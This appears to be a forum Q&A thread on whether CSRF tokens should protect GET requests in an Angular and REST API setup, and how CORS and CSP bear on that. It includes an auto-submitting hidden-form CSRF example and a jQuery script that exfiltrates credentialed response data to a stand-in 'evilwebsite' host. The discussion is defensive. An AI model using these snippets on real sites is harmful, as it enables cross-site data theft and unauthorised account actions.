I have a REST API that allows authenticated users to read data about their own account and make changes to their accounts. For authentication I use JWTs stored as httpOnly cookies. To protect against CSRF attacks, the REST API also supplies the client with what Angular calls an "XSRF token".
Angular's method of CSRF protection is to take the XSRF token your API creates and re-submit it back to the API with each request in an "X-XSRF-Token" header. It's up to your API to determine whether to allow the request or not. A script running on a hostile website would not have access to the XSRF token and so would be unable to submit it along with any CSRF requests.
When I went to implement my front-end requests in Angular using HttpClient, I noticed that the HttpXsrfInterceptor doesn't send the X-XSRF-Token header with GET and HEAD requests.
From the opinions I've read online, CSRF protection is not needed for GET requests because they don't (or they shouldn't) modify any data. The most a CSRF attack could do with a GET request is have the REST API send sensitive data to the user's web browser. The hostile website wouldn't be able to see that data.
If a hostile website tries to issue a CSRF GET request like this:
<img src="https://example.com/sensitiveData">
then sensitive data is transmitted from the API to the user's web browser, but the hostile website can't see the data, so everything is fine.
If a hostile website tries to issue a CSRF POST request like this:
<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
<input type="hidden" name="itemId" value="34873847">
<input type="submit" value="View Kittens">
</form>
...
then the hostile website still wouldn't see any data, but it could cause damage to a the user. If the API requires the X-XSRF-Token header to be present then this attack can not succeed.
But what if the hostile website forces the browser to make a GET request like this:
<script>
$.ajax('https://example.com/sensitiveData', {
xhrFields: {
withCredentials: true,
},
}).done((sensitiveData) => {
$.ajax('https://evilwebsite/logData', {
method: 'post',
data: sensitiveData,
}).done(() => {
console.log('I stole your data', sensitiveData)
});
});
</script>
Some CORS policies would stop this, but other CORS policies would still let it happen.
It seems that requiring CSRF protection on GET requests would mitigate this vulnerability.
Am I missing something important?
You are 100% correct on everything in your intro and examples 1 and 2.
Regarding example 3, CORS would kick in and block the script from receiving the result from example.com
. The only way the given JavaScript would be able to read the response and send it off to evil.com
is if one of the following conditions is met:
example.com
has explicitly whitelisted via CORS headers and given it permission to use credentialsexample.com
(in which case you have fallen victim to an XSS attack, which is a serious problem).Even in the event of #2 above you can prevent data from escaping to evil.com
with a solid CSP (worth a Google if you are unfamiliar).
In short: This is the exact sort of attack that CORS is designed to protect against. Excepting the above items, CORS should block the response in all cases. So unless you have a specific example in which you believe CORS won't apply, I believe that your assertion that CORS might allow such requests through is incorrect.
Access-Control-Allow-Credentials: true
but no "Access-Control-Allow-Origin" header. This allowed the attack. Since I cannot combine Access-Control-Allow-Credentials: true
with Access-Control-Allow-Origin: *
, my API would respond with Access-Control-Allow-Origin: <whatever domain is making the request>
. This would also allow the attack. It was originally my intention to allow anyone to interact with my REST API through their own websites. I'm not sure if this is feasible anymore. It seems feasible with CSRF protection on GET requests. — Aug 17, 2018 at 17:07